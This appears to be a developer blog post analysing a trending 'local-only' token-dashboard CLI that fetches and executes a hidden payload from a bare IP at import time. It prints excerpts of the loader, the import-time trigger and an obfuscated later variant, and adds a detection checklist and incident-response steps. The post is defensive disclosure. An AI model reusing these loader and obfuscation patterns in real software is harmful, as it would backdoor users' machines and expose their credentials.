AI编码
dev.to ·
@Felixwang007
一个 1145 星 CLI 宣称“数据不出本机”,却在 import 时执行隐藏载荷
作者称 GitHub Trending 上的 tokentab(约 1.1k 星)宣称完全本地运行、无需账号与 API Key,用于读取 Claude Code、Codex、Cursor、Gemini CLI 的会话日志做 token 成本看板。但在提交 d9e8cb4 的 tokentab/setup.py 中发现硬编码的裸 IP、端口与 API Key 配置,指向 import 阶段执行隐藏载荷。作者同时说明其自查流程仍存在失效场景。
AI推荐理由 给出具体仓库、提交哈希、文件路径与代码片段(setup.py 中硬编码裸 IP、端口与 API Key),指向'本地运行'承诺与 import 时执行隐藏载荷之间的矛盾,对使用 Claude Code、Codex、Cursor、Gemini CLI 日志的开发者有直接安全警示;星数仅作传播背景,作者也说明其检查流程仍有失效之处,未过度断言。
78
正文
A repo with 1,145 stars told me it ran entirely locally. Line 12 of its CLI said otherwise, and the check that would have caught it takes 20 seconds.
This is what it looked like, what I changed about my install routine, and where the routine still fails.
The README said all the right things
crwdla/tokentab was on GitHub Trending in mid-September 2026: two weeks old, ~1.1k stars, a dashboard screenshot, and this:
tokentab reads the session logs that Claude Code, Codex, Cursor and Gemini CLI already leave on disk... It runs entirely locally: no account, no API key, nothing leaves your machine.
That pitch is plausible, which is why it works. A token-cost dashboard has to read ~/.claude/projects/**/*.jsonl and ~/.codex/sessions/**/rollout-*.jsonl. Nothing about the premise is suspicious.
What was in the tree
Commit d9e8cb4 (2026-09-07), file tokentab/setup.py:
CONFIG = {
"HOST": "172.233.51.81", # bare IP, no domain, no TLS
"PORT": 8765,
"ASSET": "main",
"API_KEY": "test123",
"PAYLOAD_KEY": "secret456",
}
CLIENT_MODULE = "manual_mapper.py"
def _load_module_memory(name: str, data: bytes) -> None:
module = types.ModuleType(mod_name)
module.__file__ = f"" # never touches disk
sys.modules[mod_name] = module
exec(compile(data, name, "exec"), module.__dict__)
def bootstrap(cfg, url):
if sys.platform != "win32":
raise RuntimeError("win32 only")
data = _fetch_bytes(f"{_server_base(url)}/api/v1/client/{CLIENT_MODULE}", cfg["API_KEY"])
_load_module_memory(CLIENT_MODULE, data)
Enter fullscreen mode
Exit fullscreen mode
And in cli.py, at module scope:
from tokentab import setup
setup.run_sync() # line 12 — before argparse, before any output
Enter fullscreen mode
Exit fullscreen mode
That line runs when the module is imported. Not when you pass a flag, not when you choose a subcommand: on import. Which means it also runs during pip install ..
Two details worth sitting with. First, the fetched module was called manual_mapper.py — a name with no relationship to counting tokens. Second, the same file still contained Panel.fit(f"[bold cyan]text-humanizer[/bold cyan]") and a Deepseek REPL banner: leftovers from a different project, pasted in wholesale. Written, not assembled.
It did not get fixed. It got obfuscated.
Commit 3a7aac5 (2026-09-19, "add cursor support") deleted the readable version and replaced it with this shape:
_rd9r1n = lambda a, k: bytes(v ^ k for v in a)
_ddsw42wg7z = __import__(_rd9r1n([246,243,255,253], 158).decode()) # hmac
_xvz9negeaj = __import__(_rd9r1n([109,123,126,117], 23).decode()) # zlib
_ttyvpj = __import__(_rd9r1n([30,23,5,30,26,31,20], 118).decode()) # hashlib
_a85u37nq1e = [[45,46,23,249,203,133,92,172, ... ]] # ~7 KB of int arrays
Enter fullscreen mode
Exit fullscreen mode
…then an HMAC-SHA256 keystream over the reassembled blob, zlib.decompress, and the last line of the file:
def _i44hyn5c6u():
getattr(__import__(), )(_q6newk(), globals())
_i44hyn5c6u() # line 42, runs on import
Enter fullscreen mode
Exit fullscreen mode
cli.py line 12 now reads setup.run_sync(FORCE_SYNC=True). Same behaviour, one difference that matters: stage 2 no longer needs the network, because it ships inline and unpacks in memory.
The lesson that cost me a credential rotation: read the tail of the file, not the head. The trigger was the last line.
Verify it yourself — clone only, do not pip install . or run it:
git clone --depth 1 https://github.com/crwdla/tokentab && cd tokentab
git show d9e8cb4:tokentab/setup.py | sed -n '12,23p' # CONFIG block
git show d9e8cb4:cli.py | sed -n '1,14p' # import-time call
git show 3a7aac5:tokentab/setup.py # obfuscated variant
Enter fullscreen mode
Exit fullscreen mode
Why dev tooling is the ideal delivery vehicle
Machine that runs coding agents = .env with provider keys, a git token, a registry token, cloud credentials, and for me a market-data API key for an A-share pipeline. A "token cost dashboard" asking to read your session logs is a plausible reason to be in there — session logs contain your prompts, your code, and your absolute paths.
Stars are not evidence either. Four commits, one account, two weeks old, 1,145 stars.
The 20 seconds I spend now
Five checks, no install, nothing executed. I wrapped them into two scripts (repo below, audit.sh for bash and audit.py for Windows):
bash audit.sh https://github.com//
python audit.py ./local/checkout
Enter fullscreen mode
Exit fullscreen mode
#
Check
Why it is the check
1
hardcoded IP endpoints, with or without scheme
an open-source CLI that talks to 203.0.113.7:8765 has no documented reason to; real tools use a domain and a real API
2
fetch → exec / compile / decompress chains
downloading code and running it in-process is the malware pattern; the fetcher and the exec are frequently in different files
3
import-time side effects (setup.run_sync(), _i44hyn5c6u())
runs before you see output, and inside pip install .
4
obfuscation smell: xor lambdas, big int-array literals, getattr(mod, )
no cost-tracking CLI needs to hide module names behind byte arithmetic
5
declared vs real distribution (PyPI name, npm preinstall/postinstall)
an install hook is code you never read and always run
Run against the two versions above, the checker reports 4 findings for each. Run against a benign repo of mine, it reports zero.
The false positive that almost killed the tool
My first version flagged 414.336.75.75 in a clean repo. It was SVG path data — — matching loosely as an IPv4. I added an octet range validation (each part ≤ 255) and it went quiet. A checker that cries wolf on viewBox attributes gets ignored by the second week, which is strictly worse than not having one.
If you already executed it
Order matters more than thoroughness here.
Kill the process by command line. Never blanket-kill the interpreter: on an agent host pkill python takes your agent down with the payload.
Clone nothing else from that author until you're done.
Rotate everything the process could read — .env, provider keys, git credentials, registry tokens. Assume the machine's full credential set is burnt.
Check persistence (Run keys, scheduled tasks, Startup, hosts). Memory-only payloads leave nothing, so a clean result is not an all-clear.
Reboot. A purely in-memory implant doesn't survive a restart. If there's no file to delete, this is the only removal step that reliably works.
Inventory what else has execution rights, because disk scanning can't see runtime behaviour:
npx -y geiger-scan # agents / MCP servers / plugins / hooks
npx -y geiger-scan --json "$LOCALAPPDATA/Temp/geiger_$(date +%Y%m%d).json"
npx -y geiger-scan --diff baseline.json # what appeared since last week
Enter fullscreen mode
Exit fullscreen mode
On my machine the number that mattered wasn't 65 items across 7 ecosystems — it was the 13 items in the EXECUTES tier. One of them was an agent event hook, and hooks run without a prompt, so silently replacing one hook file is a complete backdoor. --diff against last week's snapshot is the only thing that tells you when something new walked in.
What this cannot do
A static grep does not see runtime behaviour — I could not recover the stage-2 program above without executing it, and that's the point: by then the audit has already failed. It also misses stage-2 code fetched at run time from a domain that looks clean today, anything that never touches disk, and compromised releases of tools you already trust.
It is triage, not security. Its job is to make "clone and run" cost 20 seconds of reading instead of a credential rotation.
Both scripts are MIT and dependency-free here: github.com/Felixwang007/agent-supply-chain-audit — audit.sh, audit.py, and the checklist in the README.
The same checklists ship as agent skills I publish on 虾评 (xiaping.coze.com) for anyone driving Claude Code / Codex / Hermes-style agents. If you've hit a different flavour of this — a poisoned MCP server, a lookalike npm package, a "harmless" postinstall script — I'd like to compare notes in the comments.